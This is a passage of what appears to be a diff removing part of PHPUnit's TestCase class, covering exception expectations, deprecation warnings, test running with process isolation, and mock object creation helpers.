$exception - */ - public function expectException(string $exception): void - { - // @codeCoverageIgnoreStart - switch ($exception) { - case Deprecated::class: - $this->addWarning('Expecting E_DEPRECATED and E_USER_DEPRECATED is deprecated and will no longer be possible in PHPUnit 10.'); - - break; - - case Error::class: - $this->addWarning('Expecting E_ERROR and E_USER_ERROR is deprecated and will no longer be possible in PHPUnit 10.'); - - break; - - case Notice::class: - $this->addWarning('Expecting E_STRICT, E_NOTICE, and E_USER_NOTICE is deprecated and will no longer be possible in PHPUnit 10.'); - - break; - - case WarningError::class: - $this->addWarning('Expecting E_WARNING and E_USER_WARNING is deprecated and will no longer be possible in PHPUnit 10.'); - - break; - } - // @codeCoverageIgnoreEnd - - $this->expectedException = $exception; - } - - /** - * @param int|string $code - */ - public function expectExceptionCode($code): void - { - $this->expectedExceptionCode = $code; - } - - public function expectExceptionMessage(string $message): void - { - $this->expectedExceptionMessage = $message; - } - - public function expectExceptionMessageMatches(string $regularExpression): void - { - $this->expectedExceptionMessageRegExp = $regularExpression; - } - - /** - * Sets up an expectation for an exception to be raised by the code under test. - * Information for expected exception class, expected exception message, and - * expected exception code are retrieved from a given Exception object. - */ - public function expectExceptionObject(\Exception $exception): void - { - $this->expectException(get_class($exception)); - $this->expectExceptionMessage($exception->getMessage()); - $this->expectExceptionCode($exception->getCode()); - } - - public function expectNotToPerformAssertions(): void - { - $this->doesNotPerformAssertions = true; - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectDeprecation(): void - { - $this->addWarning('Expecting E_DEPRECATED and E_USER_DEPRECATED is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectedException = Deprecated::class; - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectDeprecationMessage(string $message): void - { - $this->addWarning('Expecting E_DEPRECATED and E_USER_DEPRECATED is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessage($message); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectDeprecationMessageMatches(string $regularExpression): void - { - $this->addWarning('Expecting E_DEPRECATED and E_USER_DEPRECATED is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessageMatches($regularExpression); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectNotice(): void - { - $this->addWarning('Expecting E_STRICT, E_NOTICE, and E_USER_NOTICE is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectedException = Notice::class; - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectNoticeMessage(string $message): void - { - $this->addWarning('Expecting E_STRICT, E_NOTICE, and E_USER_NOTICE is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessage($message); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectNoticeMessageMatches(string $regularExpression): void - { - $this->addWarning('Expecting E_STRICT, E_NOTICE, and E_USER_NOTICE is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessageMatches($regularExpression); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectWarning(): void - { - $this->addWarning('Expecting E_WARNING and E_USER_WARNING is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectedException = WarningError::class; - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectWarningMessage(string $message): void - { - $this->addWarning('Expecting E_WARNING and E_USER_WARNING is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessage($message); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectWarningMessageMatches(string $regularExpression): void - { - $this->addWarning('Expecting E_WARNING and E_USER_WARNING is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessageMatches($regularExpression); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectError(): void - { - $this->addWarning('Expecting E_ERROR and E_USER_ERROR is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectedException = Error::class; - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectErrorMessage(string $message): void - { - $this->addWarning('Expecting E_ERROR and E_USER_ERROR is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessage($message); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5062 - */ - public function expectErrorMessageMatches(string $regularExpression): void - { - $this->addWarning('Expecting E_ERROR and E_USER_ERROR is deprecated and will no longer be possible in PHPUnit 10.'); - - $this->expectExceptionMessageMatches($regularExpression); - } - - public function getStatus(): int - { - return $this->status; - } - - public function markAsRisky(): void - { - $this->status = BaseTestRunner::STATUS_RISKY; - } - - public function getStatusMessage(): string - { - return $this->statusMessage; - } - - public function hasFailed(): bool - { - $status = $this->getStatus(); - - return $status === BaseTestRunner::STATUS_FAILURE || $status === BaseTestRunner::STATUS_ERROR; - } - - /** - * Runs the test case and collects the results in a TestResult object. - * If no TestResult object is passed a new one will be created. - * - * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException - * @throws CodeCoverageException - * @throws InvalidArgumentException - * @throws UnintentionallyCoveredCodeException - * @throws UtilException - */ - public function run(?TestResult $result = null): TestResult - { - if ($result === null) { - $result = $this->createResult(); - } - - if (!$this instanceof ErrorTestCase && !$this instanceof WarningTestCase) { - $this->setTestResultObject($result); - } - - if (!$this instanceof ErrorTestCase && - !$this instanceof WarningTestCase && - !$this instanceof SkippedTestCase && - !$this->handleDependencies()) { - return $result; - } - - if ($this->runInSeparateProcess()) { - $runEntireClass = $this->runClassInSeparateProcess && !$this->runTestInSeparateProcess; - - try { - $class = new ReflectionClass($this); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($runEntireClass) { - $template = new Template( - __DIR__ . '/../Util/PHP/Template/TestCaseClass.tpl', - ); - } else { - $template = new Template( - __DIR__ . '/../Util/PHP/Template/TestCaseMethod.tpl', - ); - } - - if ($this->preserveGlobalState) { - $constants = GlobalState::getConstantsAsString(); - $globals = GlobalState::getGlobalsAsString(); - $includedFiles = GlobalState::getIncludedFilesAsString(); - $iniSettings = GlobalState::getIniSettingsAsString(); - } else { - $constants = ''; - - if (!empty($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { - $globals = '$GLOBALS[\'__PHPUNIT_BOOTSTRAP\'] = ' . var_export($GLOBALS['__PHPUNIT_BOOTSTRAP'], true) . ";\n"; - } else { - $globals = ''; - } - - $includedFiles = ''; - $iniSettings = ''; - } - - $coverage = $result->getCollectCodeCoverageInformation() ? 'true' : 'false'; - $isStrictAboutTestsThatDoNotTestAnything = $result->isStrictAboutTestsThatDoNotTestAnything() ? 'true' : 'false'; - $isStrictAboutOutputDuringTests = $result->isStrictAboutOutputDuringTests() ? 'true' : 'false'; - $enforcesTimeLimit = $result->enforcesTimeLimit() ? 'true' : 'false'; - $isStrictAboutTodoAnnotatedTests = $result->isStrictAboutTodoAnnotatedTests() ? 'true' : 'false'; - $isStrictAboutResourceUsageDuringSmallTests = $result->isStrictAboutResourceUsageDuringSmallTests() ? 'true' : 'false'; - - if (defined('PHPUNIT_COMPOSER_INSTALL')) { - $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); - } else { - $composerAutoload = '\'\''; - } - - if (defined('__PHPUNIT_PHAR__')) { - $phar = var_export(__PHPUNIT_PHAR__, true); - } else { - $phar = '\'\''; - } - - $codeCoverage = $result->getCodeCoverage(); - $codeCoverageFilter = null; - $cachesStaticAnalysis = 'false'; - $codeCoverageCacheDirectory = null; - $driverMethod = 'forLineCoverage'; - - if ($codeCoverage) { - $codeCoverageFilter = $codeCoverage->filter(); - - if ($codeCoverage->collectsBranchAndPathCoverage()) { - $driverMethod = 'forLineAndPathCoverage'; - } - - if ($codeCoverage->cachesStaticAnalysis()) { - $cachesStaticAnalysis = 'true'; - $codeCoverageCacheDirectory = $codeCoverage->cacheDirectory(); - } - } - - $data = var_export(serialize($this->data), true); - $dataName = var_export($this->dataName, true); - $dependencyInput = var_export(serialize($this->dependencyInput), true); - $includePath = var_export(get_include_path(), true); - $codeCoverageFilter = var_export(serialize($codeCoverageFilter), true); - $codeCoverageCacheDirectory = var_export(serialize($codeCoverageCacheDirectory), true); - // must do these fixes because TestCaseMethod.tpl has unserialize('{data}') in it, and we can't break BC - // the lines above used to use addcslashes() rather than var_export(), which breaks null byte escape sequences - $data = "'." . $data . ".'"; - $dataName = "'.(" . $dataName . ").'"; - $dependencyInput = "'." . $dependencyInput . ".'"; - $includePath = "'." . $includePath . ".'"; - $codeCoverageFilter = "'." . $codeCoverageFilter . ".'"; - $codeCoverageCacheDirectory = "'." . $codeCoverageCacheDirectory . ".'"; - - $configurationFilePath = $GLOBALS['__PHPUNIT_CONFIGURATION_FILE'] ?? ''; - $processResultFile = tempnam(sys_get_temp_dir(), 'phpunit_'); - - $var = [ - 'composerAutoload' => $composerAutoload, - 'phar' => $phar, - 'filename' => $class->getFileName(), - 'className' => $class->getName(), - 'collectCodeCoverageInformation' => $coverage, - 'cachesStaticAnalysis' => $cachesStaticAnalysis, - 'codeCoverageCacheDirectory' => $codeCoverageCacheDirectory, - 'driverMethod' => $driverMethod, - 'data' => $data, - 'dataName' => $dataName, - 'dependencyInput' => $dependencyInput, - 'constants' => $constants, - 'globals' => $globals, - 'include_path' => $includePath, - 'included_files' => $includedFiles, - 'iniSettings' => $iniSettings, - 'isStrictAboutTestsThatDoNotTestAnything' => $isStrictAboutTestsThatDoNotTestAnything, - 'isStrictAboutOutputDuringTests' => $isStrictAboutOutputDuringTests, - 'enforcesTimeLimit' => $enforcesTimeLimit, - 'isStrictAboutTodoAnnotatedTests' => $isStrictAboutTodoAnnotatedTests, - 'isStrictAboutResourceUsageDuringSmallTests' => $isStrictAboutResourceUsageDuringSmallTests, - 'codeCoverageFilter' => $codeCoverageFilter, - 'configurationFilePath' => $configurationFilePath, - 'name' => $this->getName(false), - 'processResultFile' => $processResultFile, - ]; - - if (!$runEntireClass) { - $var['methodName'] = $this->name; - } - - $template->setVar($var); - - $php = AbstractPhpProcess::factory(); - $php->runTestJob($template->render(), $this, $result, $processResultFile); - } else { - $result->run($this); - } - - $this->result = null; - - return $result; - } - - /** - * Returns a builder object to create mock objects using a fluent interface. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $className - * - * @psalm-return MockBuilder - */ - public function getMockBuilder(string $className): MockBuilder - { - $this->recordDoubledType($className); - - return new MockBuilder($this, $className); - } - - public function registerComparator(Comparator $comparator): void - { - ComparatorFactory::getInstance()->register($comparator); - - $this->customComparators[] = $comparator; - } - - /** - * @return string[] - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function doubledTypes(): array - { - return array_unique($this->doubledTypes); - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getGroups(): array - { - return $this->groups; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setGroups(array $groups): void - { - $this->groups = $groups; - } - - /** - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getName(bool $withDataSet = true): string - { - if ($withDataSet) { - return $this->name . $this->getDataSetAsString(false); - } - - return $this->name; - } - - /** - * Returns the size of the test. - * - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getSize(): int - { - return TestUtil::getSize( - static::class, - $this->getName(false), - ); - } - - /** - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function hasSize(): bool - { - return $this->getSize() !== TestUtil::UNKNOWN; - } - - /** - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function isSmall(): bool - { - return $this->getSize() === TestUtil::SMALL; - } - - /** - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function isMedium(): bool - { - return $this->getSize() === TestUtil::MEDIUM; - } - - /** - * @throws InvalidArgumentException - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function isLarge(): bool - { - return $this->getSize() === TestUtil::LARGE; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getActualOutput(): string - { - if (!$this->outputBufferingActive) { - return $this->output; - } - - return (string) ob_get_contents(); - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function hasOutput(): bool - { - if ($this->output === '') { - return false; - } - - if ($this->hasExpectationOnOutput()) { - return false; - } - - return true; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function doesNotPerformAssertions(): bool - { - return $this->doesNotPerformAssertions; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function hasExpectationOnOutput(): bool - { - return is_string($this->outputExpectedString) || is_string($this->outputExpectedRegex) || $this->outputRetrievedForAssertion; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getExpectedException(): ?string - { - return $this->expectedException; - } - - /** - * @return null|int|string - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getExpectedExceptionCode() - { - return $this->expectedExceptionCode; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getExpectedExceptionMessage(): ?string - { - return $this->expectedExceptionMessage; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getExpectedExceptionMessageRegExp(): ?string - { - return $this->expectedExceptionMessageRegExp; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setRegisterMockObjectsFromTestArgumentsRecursively(bool $flag): void - { - $this->registerMockObjectsFromTestArgumentsRecursively = $flag; - } - - /** - * @throws Throwable - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function runBare(): void - { - $this->numAssertions = 0; - - $this->snapshotGlobalState(); - $this->startOutputBuffering(); - clearstatcache(); - $currentWorkingDirectory = getcwd(); - - $hookMethods = TestUtil::getHookMethods(static::class); - - $hasMetRequirements = false; - - try { - $this->checkRequirements(); - $hasMetRequirements = true; - - if ($this->inIsolation) { - foreach ($hookMethods['beforeClass'] as $method) { - $this->{$method}(); - } - } - - $this->setDoesNotPerformAssertionsFromAnnotation(); - - foreach ($hookMethods['before'] as $method) { - $this->{$method}(); - } - - foreach ($hookMethods['preCondition'] as $method) { - $this->{$method}(); - } - - $this->testResult = $this->runTest(); - $this->verifyMockObjects(); - - foreach ($hookMethods['postCondition'] as $method) { - $this->{$method}(); - } - - if (!empty($this->warnings)) { - throw new Warning( - implode( - "\n", - array_unique($this->warnings), - ), - ); - } - - $this->status = BaseTestRunner::STATUS_PASSED; - } catch (IncompleteTest $e) { - $this->status = BaseTestRunner::STATUS_INCOMPLETE; - $this->statusMessage = $e->getMessage(); - } catch (SkippedTest $e) { - $this->status = BaseTestRunner::STATUS_SKIPPED; - $this->statusMessage = $e->getMessage(); - } catch (Warning $e) { - $this->status = BaseTestRunner::STATUS_WARNING; - $this->statusMessage = $e->getMessage(); - } catch (AssertionFailedError $e) { - $this->status = BaseTestRunner::STATUS_FAILURE; - $this->statusMessage = $e->getMessage(); - } catch (PredictionException $e) { - $this->status = BaseTestRunner::STATUS_FAILURE; - $this->statusMessage = $e->getMessage(); - } catch (Throwable $_e) { - $e = $_e; - $this->status = BaseTestRunner::STATUS_ERROR; - $this->statusMessage = $_e->getMessage(); - } - - $this->mockObjects = []; - $this->prophet = null; - - // Tear down the fixture. An exception raised in tearDown() will be - // caught and passed on when no exception was raised before. - try { - if ($hasMetRequirements) { - foreach ($hookMethods['after'] as $method) { - $this->{$method}(); - } - - if ($this->inIsolation) { - foreach ($hookMethods['afterClass'] as $method) { - $this->{$method}(); - } - } - } - } catch (Throwable $_e) { - $e = $e ?? $_e; - } - - try { - $this->stopOutputBuffering(); - } catch (RiskyTestError $_e) { - $e = $e ?? $_e; - } - - if (isset($_e)) { - $this->status = BaseTestRunner::STATUS_ERROR; - $this->statusMessage = $_e->getMessage(); - } - - clearstatcache(); - - if ($currentWorkingDirectory !== getcwd()) { - chdir($currentWorkingDirectory); - } - - $this->restoreGlobalState(); - $this->unregisterCustomComparators(); - $this->cleanupIniSettings(); - $this->cleanupLocaleSettings(); - libxml_clear_errors(); - - // Perform assertion on output. - if (!isset($e)) { - try { - if ($this->outputExpectedRegex !== null) { - $this->assertMatchesRegularExpression($this->outputExpectedRegex, $this->output); - } elseif ($this->outputExpectedString !== null) { - $this->assertEquals($this->outputExpectedString, $this->output); - } - } catch (Throwable $_e) { - $e = $_e; - } - } - - // Workaround for missing "finally". - if (isset($e)) { - if ($e instanceof PredictionException) { - $e = new AssertionFailedError($e->getMessage()); - } - - $this->onNotSuccessfulTest($e); - } - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setName(string $name): void - { - $this->name = $name; - - if (is_callable($this->sortId(), true)) { - $this->providedTests = [new ExecutionOrderDependency($this->sortId())]; - } - } - - /** - * @param list $dependencies - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setDependencies(array $dependencies): void - { - $this->dependencies = $dependencies; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setDependencyInput(array $dependencyInput): void - { - $this->dependencyInput = $dependencyInput; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setBeStrictAboutChangesToGlobalState(?bool $beStrictAboutChangesToGlobalState): void - { - $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setBackupGlobals(?bool $backupGlobals): void - { - if ($this->backupGlobals === null && $backupGlobals !== null) { - $this->backupGlobals = $backupGlobals; - } - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setBackupStaticAttributes(?bool $backupStaticAttributes): void - { - if ($this->backupStaticAttributes === null && $backupStaticAttributes !== null) { - $this->backupStaticAttributes = $backupStaticAttributes; - } - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setRunTestInSeparateProcess(bool $runTestInSeparateProcess): void - { - if ($this->runTestInSeparateProcess === null) { - $this->runTestInSeparateProcess = $runTestInSeparateProcess; - } - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setRunClassInSeparateProcess(bool $runClassInSeparateProcess): void - { - if ($this->runClassInSeparateProcess === null) { - $this->runClassInSeparateProcess = $runClassInSeparateProcess; - } - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setPreserveGlobalState(bool $preserveGlobalState): void - { - $this->preserveGlobalState = $preserveGlobalState; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setInIsolation(bool $inIsolation): void - { - $this->inIsolation = $inIsolation; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function isInIsolation(): bool - { - return $this->inIsolation; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getResult() - { - return $this->testResult; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setResult($result): void - { - $this->testResult = $result; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setOutputCallback(callable $callback): void - { - $this->outputCallback = $callback; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getTestResultObject(): ?TestResult - { - return $this->result; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function setTestResultObject(TestResult $result): void - { - $this->result = $result; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function registerMockObject(MockObject $mockObject): void - { - $this->mockObjects[] = $mockObject; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function addToAssertionCount(int $count): void - { - $this->numAssertions += $count; - } - - /** - * Returns the number of assertions performed by this test. - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getNumAssertions(): int - { - return $this->numAssertions; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function usesDataProvider(): bool - { - return !empty($this->data); - } - - /** - * @return int|string - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function dataName() - { - return $this->dataName; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getDataSetAsString(bool $includeData = true): string - { - $buffer = ''; - - if (!empty($this->data)) { - if (is_int($this->dataName)) { - $buffer .= sprintf(' with data set #%d', $this->dataName); - } else { - $buffer .= sprintf(' with data set "%s"', $this->dataName); - } - - if ($includeData) { - $exporter = new Exporter; - - $buffer .= sprintf(' (%s)', $exporter->shortenedRecursiveExport($this->data)); - } - } - - return $buffer; - } - - /** - * Gets the data set of a TestCase. - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function getProvidedData(): array - { - return $this->data; - } - - /** - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function addWarning(string $warning): void - { - $this->warnings[] = $warning; - } - - public function sortId(): string - { - $id = $this->name; - - if (strpos($id, '::') === false) { - $id = static::class . '::' . $id; - } - - if ($this->usesDataProvider()) { - $id .= $this->getDataSetAsString(false); - } - - return $id; - } - - /** - * Returns the normalized test name as class::method. - * - * @return list - */ - public function provides(): array - { - return $this->providedTests; - } - - /** - * Returns a list of normalized dependency names, class::method. - * - * This list can differ from the raw dependencies as the resolver has - * no need for the [!][shallow]clone prefix that is filtered out - * during normalization. - * - * @return list - */ - public function requires(): array - { - return $this->dependencies; - } - - /** - * Override to run the test and assert its state. - * - * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException - * @throws AssertionFailedError - * @throws Exception - * @throws ExpectationFailedException - * @throws Throwable - */ - protected function runTest() - { - if (trim($this->name) === '') { - throw new Exception( - 'PHPUnit\Framework\TestCase::$name must be a non-blank string.', - ); - } - - $testArguments = array_merge($this->data, $this->dependencyInput); - - $this->registerMockObjectsFromTestArguments($testArguments); - - try { - $testResult = $this->{$this->name}(...array_values($testArguments)); - } catch (Throwable $exception) { - if (!$this->checkExceptionExpectations($exception)) { - throw $exception; - } - - if ($this->expectedException !== null) { - if ($this->expectedException === Error::class) { - $this->assertThat( - $exception, - LogicalOr::fromConstraints( - new ExceptionConstraint(Error::class), - new ExceptionConstraint(\Error::class), - ), - ); - } else { - $this->assertThat( - $exception, - new ExceptionConstraint( - $this->expectedException, - ), - ); - } - } - - if ($this->expectedExceptionMessage !== null) { - $this->assertThat( - $exception, - new ExceptionMessage( - $this->expectedExceptionMessage, - ), - ); - } - - if ($this->expectedExceptionMessageRegExp !== null) { - $this->assertThat( - $exception, - new ExceptionMessageRegularExpression( - $this->expectedExceptionMessageRegExp, - ), - ); - } - - if ($this->expectedExceptionCode !== null) { - $this->assertThat( - $exception, - new ExceptionCode( - $this->expectedExceptionCode, - ), - ); - } - - return; - } - - if ($this->expectedException !== null) { - $this->assertThat( - null, - new ExceptionConstraint( - $this->expectedException, - ), - ); - } elseif ($this->expectedExceptionMessage !== null) { - $this->numAssertions++; - - throw new AssertionFailedError( - sprintf( - 'Failed asserting that exception with message "%s" is thrown', - $this->expectedExceptionMessage, - ), - ); - } elseif ($this->expectedExceptionMessageRegExp !== null) { - $this->numAssertions++; - - throw new AssertionFailedError( - sprintf( - 'Failed asserting that exception with message matching "%s" is thrown', - $this->expectedExceptionMessageRegExp, - ), - ); - } elseif ($this->expectedExceptionCode !== null) { - $this->numAssertions++; - - throw new AssertionFailedError( - sprintf( - 'Failed asserting that exception with code "%s" is thrown', - $this->expectedExceptionCode, - ), - ); - } - - return $testResult; - } - - /** - * This method is a wrapper for the ini_set() function that automatically - * resets the modified php.ini setting to its original value after the - * test is run. - * - * @throws Exception - */ - protected function iniSet(string $varName, string $newValue): void - { - $currentValue = ini_set($varName, $newValue); - - if ($currentValue !== false) { - $this->iniSettings[$varName] = $currentValue; - } else { - throw new Exception( - sprintf( - 'INI setting "%s" could not be set to "%s".', - $varName, - $newValue, - ), - ); - } - } - - /** - * This method is a wrapper for the setlocale() function that automatically - * resets the locale to its original value after the test is run. - * - * @throws Exception - */ - protected function setLocale(...$args): void - { - if (count($args) < 2) { - throw new Exception; - } - - [$category, $locale] = $args; - - if (!in_array($category, self::LOCALE_CATEGORIES, true)) { - throw new Exception; - } - - if (!is_array($locale) && !is_string($locale)) { - throw new Exception; - } - - $this->locale[$category] = setlocale($category, 0); - - $result = setlocale(...$args); - - if ($result === false) { - throw new Exception( - 'The locale functionality is not implemented on your platform, ' . - 'the specified locale does not exist or the category name is ' . - 'invalid.', - ); - } - } - - /** - * Makes configurable stub for the specified class. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return Stub&RealInstanceType - */ - protected function createStub(string $originalClassName): Stub - { - return $this->createMockObject($originalClassName); - } - - /** - * Returns a mock object for the specified class. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function createMock(string $originalClassName): MockObject - { - return $this->createMockObject($originalClassName); - } - - /** - * Returns a configured mock object for the specified class. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function createConfiguredMock(string $originalClassName, array $configuration): MockObject - { - $o = $this->createMockObject($originalClassName); - - foreach ($configuration as $method => $return) { - $o->method($method)->willReturn($return); - } - - return $o; - } - - /** - * Returns a partial mock object for the specified class. - * - * @param string[] $methods - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function createPartialMock(string $originalClassName, array $methods): MockObject - { - try { - $reflector = new ReflectionClass($originalClassName); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $mockedMethodsThatDontExist = array_filter( - $methods, - static function (string $method) use ($reflector) - { - return !$reflector->hasMethod($method); - }, - ); - - if ($mockedMethodsThatDontExist) { - $this->addWarning( - sprintf( - 'createPartialMock() called with method(s) %s that do not exist in %s. This will not be allowed in future versions of PHPUnit.', - implode(', ', $mockedMethodsThatDontExist), - $originalClassName, - ), - ); - } - - return $this->getMockBuilder($originalClassName) - ->disableOriginalConstructor() - ->disableOriginalClone() - ->disableArgumentCloning() - ->disallowMockingUnknownTypes() - ->setMethods(empty($methods) ? null : $methods) - ->getMock(); - } - - /** - * Returns a test proxy for the specified class. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function createTestProxy(string $originalClassName, array $constructorArguments = []): MockObject - { - return $this->getMockBuilder($originalClassName) - ->setConstructorArgs($constructorArguments) - ->enableProxyingToOriginalMethods() - ->getMock(); - } - - /** - * Mocks the specified class and returns the name of the mocked class. - * - * @param null|array $methods $methods - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string|string $originalClassName - * - * @psalm-return class-string - * - * @deprecated - */ - protected function getMockClass(string $originalClassName, $methods = [], array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = false, bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = false): string - { - $this->addWarning('PHPUnit\Framework\TestCase::getMockClass() is deprecated and will be removed in PHPUnit 10.'); - - $this->recordDoubledType($originalClassName); - - $mock = $this->getMockObjectGenerator()->getMock( - $originalClassName, - $methods, - $arguments, - $mockClassName, - $callOriginalConstructor, - $callOriginalClone, - $callAutoload, - $cloneArguments, - ); - - return get_class($mock); - } - - /** - * Returns a mock object for the specified abstract class with all abstract - * methods of the class mocked. Concrete methods are not mocked by default. - * To mock concrete methods, use the 7th parameter ($mockedMethods). - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function getMockForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject - { - $this->recordDoubledType($originalClassName); - - $mockObject = $this->getMockObjectGenerator()->getMockForAbstractClass( - $originalClassName, - $arguments, - $mockClassName, - $callOriginalConstructor, - $callOriginalClone, - $callAutoload, - $mockedMethods, - $cloneArguments, - ); - - $this->registerMockObject($mockObject); - - return $mockObject; - } - - /** - * Returns a mock object based on the given WSDL file. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string|string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - protected function getMockFromWsdl(string $wsdlFile, string $originalClassName = '', string $mockClassName = '', array $methods = [], bool $callOriginalConstructor = true, array $options = []): MockObject - { - $this->recordDoubledType(SoapClient::class); - - if ($originalClassName === '') { - $fileName = pathinfo(basename(parse_url($wsdlFile, PHP_URL_PATH)), PATHINFO_FILENAME); - $originalClassName = preg_replace('/\W/', '', $fileName); - } - - if (!class_exists($originalClassName)) { - eval( - $this->getMockObjectGenerator()->generateClassFromWsdl( - $wsdlFile, - $originalClassName, - $methods, - $options, - ) - ); - } - - $mockObject = $this->getMockObjectGenerator()->getMock( - $originalClassName, - $methods, - ['', $options], - $mockClassName, - $callOriginalConstructor, - false, - false, - ); - - $this->registerMockObject($mockObject); - - return $mockObject; - } - - /** - * Returns a mock object for the specified trait with all abstract methods - * of the trait mocked. Concrete methods to mock can be specified with the - * `$mockedMethods` parameter. - * - * 